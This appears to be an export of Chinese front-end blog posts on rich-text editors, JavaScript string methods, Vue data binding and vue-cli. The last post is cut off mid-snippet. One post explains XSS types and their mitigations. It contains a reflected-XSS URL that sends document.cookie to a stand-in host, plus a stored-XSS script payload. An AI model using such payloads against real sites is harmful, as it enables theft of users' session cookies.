<url>%2F2017%2F11%2F20%2F%E5%8E%9F%E7%94%9F%E5%AF%8C%E6%96%87%E6%9C%AC%E7%BC%96%E8%BE%91%E5%99%A8%2F</url>
<content type="text"><![CDATA[前言之前没有接触过富文本编辑器原理,在页面光标能在文本之间随意选择,删除和输入很好奇,一直以为是一种hack技术,原来页面本身有的一个属性,配合实现还有js的方法和属性。 实现原理实现富文本效果有两种方法:1. iframe+designMode,2. contenteditable。 方法一:iframe+designMode页面中iframe嵌入一个子页面,把iframe的属性designMode设为on,这个子页面的所有内容就可以想使用文字处理软件一样,对文本进行加粗、斜体等设置。 主页面 12345678910111213141516171819&lt;!DOCTYPE html&gt;&lt;html lang="en"&gt;&lt;head&gt; &lt;meta charset="UTF-8"&gt; &lt;meta http-equiv="X-UA-Compatible" content="ie=edge"&gt; &lt;title&gt;富文本编辑&lt;/title&gt;&lt;/head&gt;&lt;body&gt; &lt;iframe src="./content.html" name="richedit" style="width:400px;height:300px;"&gt;&lt;/iframe&gt; &lt;script&gt; window.addEventListener('load', function () &#123; window.frames['richedit'].document.designMode = 'on'; &#125;, false); &lt;/script&gt;&lt;/body&gt;&lt;/html&gt; content.html子页面 1234567891011121314151617181920&lt;!DOCTYPE html&gt;&lt;html lang="en"&gt;&lt;head&gt; &lt;meta charset="UTF-8"&gt; &lt;meta http-equiv="X-UA-Compatible" content="ie=edge"&gt; &lt;title&gt;Document&lt;/title&gt;&lt;/head&gt;&lt;body&gt; &lt;h1&gt;富文本编辑器标题&lt;/h1&gt; &lt;header&gt; &lt;nav&gt;导航栏&lt;/nav&gt; &lt;/header&gt; &lt;main&gt; &lt;section&gt;内容区块&lt;/section&gt; &lt;section&gt;这里是一些内容,这里是一些内容,这里是一些内容&lt;/section&gt; &lt;/main&gt; &lt;footer&gt;底部版权相关申明&lt;/footer&gt;&lt;/body&gt;&lt;/html&gt; 实现效果 方法二:contenteditable可以把contenteditable属性应用到页面中的任何元素,然后用户立即就可以编辑该元素,而不需要iframe页。 12345678910&lt;section class="editable" id="richedit"&gt; &lt;h2&gt;标题栏&lt;/h2&gt; &lt;nav&gt;导航栏&lt;/nav&gt; &lt;article&gt;内容主体部分&lt;/article&gt;&lt;/section&gt;&lt;script&gt; $richedit = document.getElementById('richedit'); $richedit.contentEditable = 'true';&lt;/script&gt; 实现效果 操作富文本只展示富文本的效果意义不大,实际应用中,更多结合用户操作交互,产生想要的效果,js中已提供相应api。 document.execCommand()document.execCommand()对文档执行预定义的命令,而且可以应用大多数格式。可以传递3个参数:要执行命令的名称、浏览器是否为命令提供用户界面的一个布尔值和执行命令必须的值(无需则为null)。 设置粗体document.execCommand(&#39;bold&#39;, false, null); ps:需要注意的是执行bold命令,IE和Opera会使用&lt;strong&gt;标签包围文本,Safari和Chrome使用&lt;b&gt;标签,而Firefox则使用&lt;span&gt;标签,由于各个浏览器实现命令的方式不同,加上通过innerHTML实现转化的方式也不一样,所以不能指望富文本编辑器会产生一致的HTML。 设置斜体 document.execCommand(&#39;italic&#39;, false, null) 设置居中对齐document.execCommand(&#39;justifycenter&#39;, false, null); 设置插入图片document.execCommand(&#39;insertimage&#39;, false, &#39;./position.png&#39;); 设置字体大小document.execCommand(&#39;fontsize&#39;, false, this.value); 当然,还有一些其他的设置命令,比如backcolor设置背景色,indent缩进文本,formatblock要包围当前文本块HTML标签,copy将选中文本复制到剪贴板等。 除了命令之外,还有于之相关的一些方法: document.queryCommandEnabled()检测某个命令是否可以针对当前选择的文本。比如document.queryCommandEnabled(&#39;bold&#39;)返回true表示对当前选中的文本可以执行bold命令。 document.queryCommandState()确定是否已将指定命令应用到选择的文本。比如document.queryCommandState(&#39;bold&#39;)返回true表示当前选中的文本用了bold命令加粗的。 document.queryCommandValue()获取执行命令传入的值。比如document.queryCommandValue(&#39;fontsize&#39;)返回5,则用fontsize命令传入的值是5。 富文本选区为了更精细化控制富文本编辑器的内容,可以使用document.getSelection()方法,返回Selection对象。在Selection对象上提供了很多实用的方法。 1234567891011121314var selection = document.getSelection();console.log('当前选中的文本:');console.log(selection.toString());// 取得代表选区的范围var range = selection.getRangeAt(0);console.log(range);// 包裹一个标签使得选中内容突出var span = document.createElement('span');span.style.backgroundColor = '#f0f';range.surroundContents(span);console.log('当前文本编辑器内容:');console.log($richedit.innerHTML); 总结一般来说,为了便利性,安全性,避免重复造轮子,在实际工作中都是直接用一些开源组织编写的富文本编辑器,比如ueditor,umEditor,handEditor等,当然应用在一些场景也是需要自己理解和会写一部分功能,比如在线文档。]]></content>
<categories>
<category>javascript</category>
</categories>
<tags>
<tag>javascript 富文本</tag>
</tags>
</entry>
<entry>
<title><![CDATA[区分substring、substr和slice]]></title>
<url>%2F2017%2F11%2F08%2F%E5%8C%BA%E5%88%86substring%E3%80%81substr%E5%92%8Cslice%2F</url>
<content type="text"><![CDATA[参数为正数的情况slice()和substring()的第二个参数指定的是字符串最后一个字符后面的位置,而substr()的第二个擦输指定的则是返回的字符串个数。 12345678var stringValue = &quot;hello world&quot;;console.log(stringValue.slice(3)); // &quot;lo world&quot;console.log(stringValue.substring(3)); // &quot;lo world&quot;console.log(stringValue.substr(3)); // &quot;lo world&quot;console.log(stringValue.slice(3, 7)); // &quot;lo w&quot;console.log(stringValue.substring(3, 7)); // &quot;lo w&quot;console.log(stringValue.substr(3, 7)); // &quot;lo worl&quot; 参数有负数的情况slice()方法会将传入的负数与字符串的长度相加,substr()方法将负的第一个参数加上字符串的长度,而将负的第二个参数转化为0。最后,substring()方法会把所有负值参数都转化为0。 12345678var stringValue = &quot;hello world&quot;;console.log(stringValue.slice( -3 )); // &quot;rld&quot;console.log(stringValue.substring( -3 )); // &quot;hellow world&quot;console.log(stringValue.substr( -3 )); // &quot;rld&quot;console.log(stringValue.slice( 3, -4 )); // &quot;lo w&quot;console.log(stringValue.substring( 3, -4 )); // &quot;hel&quot;console.log(stringValue.substr( 3, -4 )); // &quot;&quot;]]></content>
<categories>
<category>javascript</category>
</categories>
<tags>
<tag>javascript</tag>
</tags>
</entry>
<entry>
<title><![CDATA[xss攻击]]></title>
<url>%2F2017%2F10%2F17%2Fxss%E6%94%BB%E5%87%BB%2F</url>
<content type="text"><![CDATA[XSS(cross-site scripting 跨域脚本攻击)攻击是最常见的 web 攻击,其重点是“跨域”和“客户端执行”。XSS 攻击分为三种,分别是: Reflected XSS(基于反射的 XSS 攻击) Stored XSS(基于存储的 XSS 攻击) DOM-based or local XSS(基于 DOM 或本地的 XSS 攻击) 1、Reflected XSS基于反射的 XSS 攻击,主要依靠站点服务端返回脚本,再客户端触发执行从而发起 Web 攻击。 例子 1、做个假设,当亚马逊在搜索书籍,搜不到书的时候显示提交的名称。 2、在搜索框搜索内容,填入“alert(‘handsome boy’)”, 点击搜索。 3、当前端页面没有对返回的数据进行过滤,直接显示在页面上,这时就会 alert 那个字符串出来。 4、进而可以构造获取用户 cookies 的地址,通过 QQ 群或者垃圾邮件,来让其他人点击这个地址: 1http://www.amazon.cn/search?name=&lt;script&gt;document.location=&apos;http://xxx/get?cookie=&apos;+document.cookie&lt;/script&gt; 安全措施 前端在显示服务端数据时候,不仅是标签内容需要过滤、转义,就连属性值也都可能需要。 后端接收请求时,验证请求是否为攻击请求,攻击则屏蔽。 2、Stored XSS基于存储的 XSS 攻击,是通过发表带有恶意跨域脚本的帖子/文章,从而把恶意脚本存储在服务器,每个访问该帖子/文章的人就会触发执行。 例子 发一篇文章,里面包含了恶意脚本 1今天天气不错啊!&lt;script&gt;alert(&apos;handsome boy&apos;)&lt;/script&gt; 后端没有对文章进行过滤,直接保存文章内容到数据库。 当其他看这篇文章的时候,包含的恶意脚本就会执行。 安全措施 首要是服务端要进行过滤,因为前端的校验可以被绕过。 当服务端不校验时候,前端要以各种方式过滤里面可能的恶意脚本,例如 script 标签,将特殊字符转换成 HTML 编码。 3、DOM-based or local XSS基于 DOM 或本地的 XSS 攻击。一般是提供一个免费的 wifi,但是提供免费 wifi 的网关会往你访问的任何页面插入一段脚本或者是直接返回一个钓鱼页面,从而植入恶意脚本。这种直接存在于页面,无须经过服务器返回就是基于本地的 XSS 攻击。 例子 提供一个免费的 wifi。 开启一个特殊的 DNS 服务,将所有域名都解析到我们的电脑上,并把 Wifi 的 DHCP-DNS 设置为我们的电脑 IP。 之后连上 wifi 的用户打开任何网站,请求都将被我们截取到。我们根据 http 头中的 host 字段来转发到真正服务器上。 收到服务器返回的数据之后,我们就可以实现网页脚本的注入,并返回给用户。 当注入的脚本被执行,用户的浏览器将依次预加载各大网站的常用脚本库。 安全措施使用 HTTPS! xsshunterXSpearXSStrike]]></content>
<categories>
<category>其它</category>
</categories>
<tags>
<tag>安全</tag>
<tag>xss</tag>
</tags>
</entry>
<entry>
<title><![CDATA[vue的数据驱动原理及简单实现]]></title>
<url>%2F2017%2F09%2F10%2Fvue%E7%9A%84%E6%95%B0%E6%8D%AE%E9%A9%B1%E5%8A%A8%E5%8E%9F%E7%90%86%E5%8F%8A%E7%AE%80%E5%8D%95%E5%AE%9E%E7%8E%B0%2F</url>
<content type="text"><![CDATA[1、目标实现 理解双向数据绑定原理; 实现 &#123;&#123; &#125;&#125;、v-model和基本事件指令v-bind(:)、v-on(@); 新增属性的双向绑定处理; 2、双向数据绑定原理vue实现对数据的双向绑定,通过对数据劫持结合发布者-订阅者模式实现的。 2.1 Object.definePropertyvue通过Object.defineProperty来实现数据劫持,会对数据对象每个属性添加对应的get和set方法,对数据进行读取和赋值操作就分别调用get和set方法。 1234567891011121314Object.defineProperty(data, key, &#123; enumerable: true, configurable: true, get: function() &#123; // do something return val; &#125;, set: function(newVal) &#123; // do something &#125;&#125;); 我们可以将一些方法放到里面,从而完成对数据的监听(劫持)和视图的同步更新。 2.2 过程说明实现双向数据绑定,首先要对数据进行数据监听,需要一个监听器Observer,监听所有属性。如果属性发生变化,会调用setter和getter,再去告诉订阅者Watcher是否需要更新。由于订阅者有很多个,我们需要一个消息订阅器Dep来专门收集这些订阅者,然后在监听器Observer和订阅者Watcher之间进行统一管理。还有,我们需要一个指令解析器Complie,对每个元素进行扫描和解析,将相关指令对应初始化成一个订阅者Watcher,并替换模板数据或绑定相应函数。当订阅者Watcher接收到相应属性的变化,就会执行对应的更新函数,从而更新视图。 3、实现ObserverObserver是一个数据监听器,核心方法是我们提到过的Object.defineProperty。如果要监听所有属性的话,则需要通过递归遍历,对每个子属性都defineProperty。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596/** * 监听器构造函数 * @param &#123;Object&#125; data 被监听数据 */function Observer(data) &#123; if (!data || typeof data !== "object") &#123; return; &#125; this.data = data; this.walk(data);&#125;Observer.prototype = &#123; /** * 属性遍历 */ walk: function(data) &#123; var self = this; Object.keys(data).forEach(function(key) &#123; self.defineReactive(data, key, data[key]); &#125;); &#125;, /** * 监听函数 */ defineReactive: function(data, key, val) &#123; observe(val); Object.defineProperty(data, key, &#123; enumerable: true, configurable: true, get: function() &#123; return val; &#125;, set: function(newVal) &#123; if (newVal === val) &#123; return; &#125; val = newVal; console.log("属性:" + key + "被监听了,现在值为:" + newVal); updateView(newVal); &#125; &#125;); updateView(val); &#125;&#125;/** * 监听器 * @param &#123;Object&#125; data 被监听对象 */function observe(data) &#123; return new Observer(data);&#125;/** * vue构造函数 * @param &#123;Object&#125; options 所有入参 */function MyVue(options) &#123; this.vm = this; this.data = options.data; // 监听数据 observe(this.data); return this;&#125;/** * 更新视图 * @param &#123;*&#125; val */function updateView(val) &#123; var $name = document.querySelector("#name"); $name.innerHTML = val;&#125;var myvm = new MyVue(&#123; el: "#demo", data: &#123; name: "hello word" &#125;&#125;); 4、实现Dep在流程介绍中,我们需要创建一个可以订阅者的订阅器Dep,主要负责手机订阅者,属性变化的时候执行相应的订阅者,更新函数。下面稍加改造Observer,就可以插入我们的订阅器。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182Observer.prototype = &#123; // ... /** * 监听函数 */ defineReactive: function(data, key, val) &#123; var dep = new Dep(); observe(val); Object.defineProperty(data, key, &#123; enumerable: true, configurable: true, get: function() &#123; // 判断是否需要添加订阅者 什么时候添加订阅者呢? 与实际页面DOM有关联的data属性才添加相应的订阅者 if (Dep.target) &#123; // 添加一个订阅者 dep.addSub(Dep.target); &#125; return val; &#125;, set: function(newVal) &#123; if (newVal === val) &#123; return; &#125; val = newVal; console.log("属性:" + key + "被监听了,现在值为:" + newVal); // 通知所有订阅者 dep.notify(newVal); &#125; &#125;); updateView(val); // 订阅器标识本身实例 Dep.target = dep; // 强行执行getter,往订阅器中添加订阅者 var v = data[key]; // 释放自己 Dep.target = null; &#125;&#125;/** * 监听器 * @param &#123;Object&#125; data 被监听对象 */function observe(data) &#123; return new Observer(data);&#125;/** * 订阅器 */function Dep() &#123; this.subs = []; this.target = null;&#125;Dep.prototype = &#123; addSub: function(sub) &#123; this.subs.push(sub); console.log("this.subs:", this.subs); &#125;, notify: function(data) &#123; this.subs.forEach(function(sub) &#123; sub.update(data); &#125;); &#125;, update: function(val) &#123; updateView(val) &#125;&#125;;// ... PS:将订阅器Dep添加到一个订阅者设计到getter里面,是为了让Watcher初始化进行触发。 5、实现Watcher订阅者Watcher在初始化的时候需要将自己添加到订阅器Dep中,那该如何添加呢?我们已经知道监听器Observer是在get函数执行添加了订阅者Watcher的操作,所以我们只要在订阅者Watcher初始化的时候触发对应的get函数去执行添加订阅者操作。那么,怎样去触发get函数?很简单,只需获取对应的属性值就可以触发了,因为我们已经用Object.defineProperty监听了所有属性。vue在这里做了个技巧处理,就是咋我们添加订阅者的时候,做一个判断,判断是否是事先缓存好的Dep.target,在订阅者添加成功后,把target重置null即可。 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465// .../** * 订阅者 * @param &#123;Object&#125; vm vue对象 * @param &#123;String&#125; exp 属性值 * @param &#123;Function&#125; cb 回调函数 */function Watcher(vm, exp, cb) &#123; this.vm = vm; this.exp = exp; this.cb = cb; // 将自己添加到订阅器 this.value = this.get();&#125;Watcher.prototype = &#123; update: function() &#123; this.run(); &#125;, run: function() &#123; var value = this.vm.data[this.exp]; var oldVal = this.value; if (value !== oldVal) &#123; this.value = value; this.cb.call(this.vm, value, oldVal); &#125; &#125;, get: function() &#123; // 缓存自己 做个标记 Dep.target = this; // 强制执行监听器里的get函数 // this.vm.data[this.exp] 调用getter,添加一个订阅者sub,存入到全局变量subs var value = this.vm.data[this.exp]; // 释放自己 Dep.target = null; return value; &#125;&#125;;/** * vue构造函数 * @param &#123;Object&#125; options 所有入参 */function MyVue(options) &#123; this.vm = this; this.data = options.data; observe(this.data); var $name = document.querySelector("#name"); // 给name属性添加一个订阅者到订阅器中,当属性发生变化后,触发回调 var w = new Watcher(this, "name", function(val) &#123; $name.innerHTML = val; &#125;); return this;&#125; 到这里,其实已经实现了我们的双向数据绑定:能够根据初始数据初始化页面特定元素,同时当数据改变也能更新视图。 5、实现Compile步骤4整个过程都能有去解析DOM节点,而是直接固定节点进行替换。接下来我们就来实现一个解析器,完成一些解析和绑定工作。 获取页面的DOM节点,遍历存入到文档碎片对象中; 解析出文本节点,匹配&#123;&#123;&#125;&#125;(暂时只做”&#123;&#123;&#125;&#125;”的解析),用初始化数据替换,并添加相应订阅者; 分离出节点的指令v-on、v-bind和v-model,绑定相应的事件和函数; 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262// .../** * 编译器构造函数 * @param &#123;String&#125; el 根元素 * @param &#123;Object&#125; vm vue对象 */function Compile(el, vm) &#123; this.vm = vm; this.el = document.querySelector(el); this.fragment = null; this.init();&#125;Compile.prototype = &#123; /** * 初始 */ init: function() &#123; if (this.el) &#123; console.log("this.el:", this.el); // 移除页面元素生成文档碎片 this.fragment = this.nodeToFragment(this.el); // 编译文档碎片 this.compileElement(this.fragment); this.el.appendChild(this.fragment); &#125; else &#123; console.log("DOM Selector is not exist"); &#125; &#125;, /** * 页面DOM节点转化成文档碎片 */ nodeToFragment: function(el) &#123; var fragment = document.createDocumentFragment(); var child = el.firstChild; // 此处添加打印,出来的不是页面中原始的DOM,而是编译后的? // NodeList是引用关系,在编译后相应的值被替换了,这里打印出来的NodeList是后来被引用更新了的 console.log("el:", el); // console.log("el.firstChild:", el.firstChild.nodeValue); while (child) &#123; // append后,原el上的子节点被删除了,挂载在文档碎片上 fragment.appendChild(child); child = el.firstChild; &#125; return fragment; &#125;, /** * 编译文档碎片,遍历到当前是文本节点则去编译文本节点,如果当前是元素节点,并且存在子节点,则继续递归遍历 */ compileElement: function(fragment) &#123; var childNodes = fragment.childNodes; var self = this; [].slice.call(childNodes).forEach(function(node) &#123; // var reg = /\&#123;\&#123;\s*(.+)\s*\&#125;\&#125;/g; var reg = /\&#123;\&#123;\s*((?:.|\n)+?)\s*\&#125;\&#125;/g; var text = node.textContent; if (self.isElementNode(node)) &#123; self.compileAttr(node); &#125; else if (self.isTextNode(node) &amp;&amp; reg.test(text)) &#123; reg.lastIndex = 0 /* var match; while(match = reg.exec(text)) &#123; self.compileText(node, match[1]); &#125; */ self.compileText(node, reg.exec(text)[1]); &#125; if (node.childNodes &amp;&amp; node.childNodes.length) &#123; self.compileElement(node); &#125; &#125;); &#125;, /** * 编译属性 */ compileAttr: function(node) &#123; var nodeAttrs = node.attributes; var self = this; Array.prototype.forEach.call(nodeAttrs, function(attr) &#123; var attrName = attr.name; // 只对vue本身指令进行操作 if (self.isDirective(attrName)) &#123; var exp = attr.value; // v-on指令 if (self.isOnDirective(attrName)) &#123; self.compileOn(node, self.vm, exp, attrName); &#125; // v-bind指令 if(self.isBindDirective(attrName)) &#123; self.compileBind(node, self.vm, exp, attrName); &#125; // v-model else if (self.isModelDirective(attrName)) &#123; self.compileModel(node, self.vm, exp, attrName); &#125; node.removeAttribute(attrName); &#125; &#125;) &#125;, /** * 编译文档碎片节点文本,即对标记替换 */ compileText: function(node, exp) &#123; var self = this; var exps = exp.split("."); var initText = this.vm.data[exp]; // 初始化视图 this.updateText(node, initText); // 添加一个订阅者到订阅器 var w = new Watcher(this.vm, exp, function(val) &#123; self.updateText(node, val); &#125;); &#125;, /** * 编译v-on指令 */ compileOn: function(node, vm, exp, attrName) &#123; // @xxx v-on:xxx var onRE = /^@|^v-on:/; var eventType = attrName.replace(onRE, ""); var cb = vm.methods[exp]; if (eventType &amp;&amp; cb) &#123; node.addEventListener(eventType, cb.bind(vm), false); &#125; &#125;, /** * 编译v-bind指令 */ compileBind: function (node, vm, exp, attrName) &#123; // :xxx v-bind:xxx var bindRE = /^:|^v-bind:/; var attr = attrName.replace(bindRE, ""); var val = vm.data[exp]; node.setAttribute(attr, val); &#125;, /** * 编译v-model指令 */ compileModel: function(node, vm, exp, attrName) &#123; var self = this; var val = this.vm.data[exp]; // 初始化视图 this.modelUpdater(node, val); // 添加一个订阅者到订阅器 new Watcher(this.vm, exp, function(value) &#123; self.modelUpdater(node, value); &#125;); // 绑定input事件 node.addEventListener("input", function(e) &#123; var newVal = e.target.value; if (val === newVal) &#123; return; &#125; self.vm.data[exp] = newVal; // val = newVal; &#125;); &#125;, /** * 更新文档碎片相应的文本节点 */ updateText: function(node, val) &#123; node.textContent = typeof val === "undefined" ? "" : val; &#125;, /** * model更新节点 */ modelUpdater: function(node, val, oldVal) &#123; node.value = typeof val == "undefined" ? "" : val; &#125;, /** * 属性是否是vue指令,包括v-xxx:,:xxx,@xxx */ isDirective: function(attrName) &#123; var dirRE = /^v-|^@|^:/; return dirRE.test(attrName); &#125;, /** * 属性是否是v-on指令 */ isOnDirective: function(attrName) &#123; var onRE = /^v-on:|^@/; return onRE.test(attrName); &#125;, /** * 属性是否是v-bind指令 */ isBindDirective: function (attrName) &#123; var bindRE = /^v-bind:|^:/; return bindRE.test(attrName); &#125;, /** * 属性是否是v-model指令 */ isModelDirective: function(attrName) &#123; var mdRE = /^v-model/; return mdRE.test(attrName); &#125;, /** * 判断元素节点 */ isElementNode: function(node) &#123; return node.nodeType == 1; &#125;, /** * 判断文本节点 */ isTextNode: function(node) &#123; return node.nodeType == 3; &#125;&#125;;/** * vue构造函数 * @param &#123;Object&#125; options 所有入参 */function MyVue(options) &#123; this.vm = this; this.data = options.data; this.methods = options.methods; observe(this.data); new Compile(options.el, this.vm); return this;&#125; 这样我们就可以调用指令v-bind、v-on和v-model。 1234567891011121314151617181920212223242526272829303132333435&lt;head&gt; &lt;meta charset="UTF-8"&gt; &lt;style&gt; .red &#123; color: red; &#125; &lt;/style&gt;&lt;/head&gt;&lt;body&gt; &lt;div id="demo"&gt; &lt;h2 v-bind:class="myColor"&gt;&amp;#123;&amp;#123; name &amp;#125;&amp;#125;&lt;/h2&gt; &lt;input type="text" name="" v-model="name"&gt; &lt;button @click="clickOk"&gt;Ok&lt;/button&gt; &lt;/div&gt;&lt;/body&gt;&lt;script&gt;var myvm = new MyVue(&#123; el: "#demo", data: &#123; name: "hello word", myColor: "red" &#125;, methods: &#123; clickOk: function() &#123; alert("I am OK"); &#125; &#125;&#125;);setTimeout(function() &#123; myvm.data.name = "wawawa...vue was born";&#125;, 2000);&lt;/script&gt; 5、其他5.1 proxy代理data可能注意到了,我们不管是在赋值还是取值,都是在myvm.data.someAttr上操作的,而在vue上我们习惯直接myvm.someAttr这种形式。怎样实现呢?同样,我们可以用Object.defineProperty对data所有属性做一个代理,即访问vue实例属性时,代理到data上。很简单,实现如下: 1234567891011121314151617/** * 将数据拓展到vue的根,方便读取和设置 */MyVue.prototype.proxy = function(key) &#123; var self = this; Object.defineProperty(this, key, &#123; enumerable: true, configurable: true, get: function proxyGetter() &#123; return self.data[key]; &#125;, set: function proxySetter(newVal) &#123; self.data[key] = newVal; &#125; &#125;);&#125; 5.2 parsePath上面对于data的操作只是到对于简单的基本类型属性,对于对象属性的改变该怎么更新到位呢?其实,只要深度遍历对象属性路径,就可以找到要访问属性值。 12345678910111213141516171819/** * 根据对象属性路径,最终获取值 * @param &#123;Object&#125; obj 对象 * @param &#123;String&#125; path 路径 * return 值 */function parsePath(obj, path) &#123; var bailRE = /[^\w.$]/; if (bailRE.test(path)) &#123; return &#125; var segments = path.split('.'); for (var i = 0; i &lt; segments.length; i++) &#123; if (!obj) &#123; return &#125; obj = obj[segments[i]]; &#125; return obj;&#125; 用这个方法替换我们的所有取值操作vm[exp] =&gt; parsePath(vm, exp) 6、新增属性的双向数据绑定6.1 给对象添加属性Vue 不允许在已经创建的实例上动态添加新的根级响应式属性 (root-level reactive property)。然而它可以使用 Vue.set(object, key, value) 方法将响应属性添加到嵌套的对象上。也就是我们需要在Vue原型上添加一个set方法去设置新添加的属性,新属性同样要进行监听和添加订阅者。 123456789101112131415161718192021222324252627282930313233/** * vue的set方法,用于外部新增属性 Vue.$set(target, key, val) * @param &#123;Object&#125; target 数据 * @param &#123;String&#125; key 属性 * @param &#123;*&#125; val 值 */function set(target, key, val) &#123; if (Array.isArray(target)) &#123; target.length = Math.max(target.length, key); target.splice(key, 1, val); return val; &#125; if (target.hasOwnProperty(key)) &#123; target[key] = val; return val &#125; var ob = (target).$Observer; if (!ob) &#123; target[key] = val; return val &#125; // 对新增属性定义监听 ob.defineReactive(target, key, val); ob.dep.notify(); return val;&#125;MyVue.prototype.$set = set; 6.1 给数组对象添加属性把数组看成一个特殊的对象,就很容易理解了,对于unshift、push和splice变异方法是添加了对象的属性的,需要对新加的属性进行监听和添加订阅者。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384var arrKeys = ["push", "pop", "shift", "unshift", "splice", "sort", "reverse"];var extendArr = [];arrKeys.forEach(function(key) &#123; def(extendArr, key, function() &#123; var result, arrProto = Array.prototype, ob = this.$Observer, arr = arrProto.slice.call(arguments), inserted, index; switch (key) &#123; case "push": inserted = arr; index = this.length; break; case "unshift": inserted = arr; index = 0; break; case "splice": inserted = arr.slice(2); index = arr[0]; break; &#125; result = arrProto[key].apply(this, arguments); // 监听新增数组对象属性 if (inserted) &#123; ob.observeArray(inserted); &#125; ob.dep.notify(); return result; &#125;);&#125;);var arrayKeys = Object.getOwnPropertyNames(extendArr);/** * 监听器构造函数 * @param &#123;Object&#125; data 被监听数据 */function Observer(data) &#123; this.dep = new Dep(); if (!data || typeof data !== "object") &#123; return; &#125; // 在每个object上添加一个observer def(data, "$Observer", this); // 继承变异方法 if (Array.isArray(data)) &#123; // 把数组变异方法的处理,添加到原型链上 data.__proto__ = extendArr; // 监听数组对象属性 this.observeArray(data); &#125; else &#123; this.data = data; this.walk(data); &#125;&#125;Observer.prototype = &#123; // ... /** * 监听数组 */ observeArray: function(items) &#123; console.log("items:", items); for (var i = 0, l = items.length; i &lt; l; i++) &#123; observe(items[i]); &#125; &#125;&#125;;]]></content>
<categories>
<category>vue</category>
</categories>
<tags>
<tag>vue</tag>
</tags>
</entry>
<entry>
<title><![CDATA[vue-cli中遇到的坑]]></title>
<url>%2F2017%2F08%2F08%2Fvue-cli%E4%B8%AD%E9%81%87%E5%88%B0%E7%9A%84%E5%9D%91%2F</url>
<content type="text"><![CDATA[项目构建自动化,错误查起来越来越不知所措,坑很多,踩过后要记录,防止踩第二遍 vue单文件@import css文件,不加~会报错123&lt;style lang=&quot;stylus&quot; scoped&gt;@import &apos;assets/css/variable&apos;&lt;/style&gt; 报错:12345678910[HMR] bundle has 1 errors172:176 ./~/css-loader?&#123;&quot;minimize&quot;:false,&quot;sourceMap&quot;:false&#125;!./~/vue-loader/lib/style-compiler?&#123;&quot;vue&quot;:true,&quot;id&quot;:&quot;data-v-be4708e4&quot;,&quot;scoped&quot;:true,&quot;hasInlineConfig&quot;:false&#125;!./~/stylus-loader?&#123;&quot;sourceMap&quot;:false&#125;!./~/vue-loader/lib/selector.js?type=styles&amp;index=0!./src/components/views/programs/Programs.vueModule build failed: Error: D:\appSoft\wampserver\wamp64\www\iHomed_vue\src\components\views\programs\Programs.vue:200:9 196| &#125; 197| &lt;/script&gt; 198| 199| &lt;style lang=&quot;stylus&quot; scoped&gt; 200| @import &apos;assets/css/variable&apos;----------------^ 201| 正确写法@import &#39;~assets/css/variable&#39; vue-cli中config/index.js配置说明1234567891011121314151617181920212223242526272829303132333435module.exports = &#123; build: &#123; env: require(&apos;./prod.env&apos;), // 使用 config/prod.env.js 中定义的编译环境 index: path.resolve(__dirname, &apos;../dist/index.html&apos;), // 编译输入的 index.html 文件 assetsRoot: path.resolve(__dirname, &apos;../dist&apos;), // 编译输出的静态资源路径 assetsSubDirectory: &apos;static&apos;, // 编译输出的二级目录 assetsPublicPath: &apos;/&apos;, // 编译发布的根目录,可配置为资源服务器域名或 CDN 域名 productionSourceMap: true, // 是否开启 cssSourceMap // Gzip off by default as many popular static hosts such as // Surge or Netlify already gzip all static assets for you. // Before setting to `true`, make sure to: // npm install --save-dev compression-webpack-plugin productionGzip: false, // 是否开启 gzip productionGzipExtensions: [&apos;js&apos;, &apos;css&apos;], // 需要使用 gzip 压缩的文件扩展名 // Run the build command with an extra argument to // View the bundle analyzer report after build finishes: // `npm run build --report` // Set to `true` or `false` to always turn it on or off bundleAnalyzerReport: process.env.npm_config_report &#125;, dev: &#123; // dev 环境 env: require(&apos;./dev.env&apos;), // 使用 config/dev.env.js 中定义的编译环境 port: 8084, // 运行测试页面的端口 autoOpenBrowser: true, // 自动在浏览器中打开 assetsSubDirectory: &apos;static&apos;, // 编译输出的二级目录 assetsPublicPath: &apos;/&apos;, // 编译发布的根目录,可配置为资源服务器域名或 CDN 域名 proxyTable: &#123;&#125;, // 需要 proxyTable 代理的接口(可跨域) // CSS Sourcemaps off by default because relative paths are &quot;buggy&quot; // with this option, according to the CSS-Loader README // (https://github.com/webpack/css-loader#sourcemaps) // In our experience, they generally work as expected, // just be aware of this issue when enabling this option. cssSourceMap: false // 是否开启 cssSourceMap &#125;&#125; 曾经不易理解的两点assetsSubDirectory和assetsPublicPath assetsSubDirectory被webpack编译处理过的资源文件都会在这个build.assetsRoot目录下,如果assetsRoot值是&quot;/web/app&quot;,assetsSubDirectory值为&quot;static&quot;,那么,webpack将把所有资源编译到web/app/static目录下 assetsPublicPath这个是通过http服务器运行的url路径,大多数情况下,这个是根目录(/)。如果你的后台框架对静态资源url前缀有要求,你仅需改变这个参数。比如不用本地的,而用线上的CDN。 父子组件嵌套,各个钩子函数触发顺序偶然看到这个问题:vue中父子组件各个钩子函数触发顺序是怎样的?一时还真背问到了,在项目中添加打印才发现是这样子的 顺序是:先依次触发父级组件beforeCreate、create和beforeMounte,再依次触发子级组件beforeCreate、create、beforeMounte和mounted,最后父级组件mounted 父子组件之间通信,兄弟组件之间通信这个问题基本清晰,在这归纳一下 1. 父组件数据传给子组件通过props属性传递 12&lt;!--父组件--&gt;&lt;parent-component :parent-data="pdata"&gt;&lt;/parent-component&gt; 123456789// 子组件export default &#123; props: &#123; parentData: &#123; type: String, default: '' &#125; &#125;&#125; 2. 子组件传数据给父组件使用$emit派发 12&lt;!--父组件--&gt;&lt;parent-component :parent-data:sync="pdata" @handle-callback="handlerCallback"&gt;&lt;/parent-component&gt; 12345678// 父组件export default &#123; methods: &#123; handlerCallback(params) &#123; // do something &#125; &#125;&#125; 12345678910// 子组件export default &#123; created() &#123; // ... this.$emit('handleCallback', params) // ... this.$emit('update:parentData', someData) 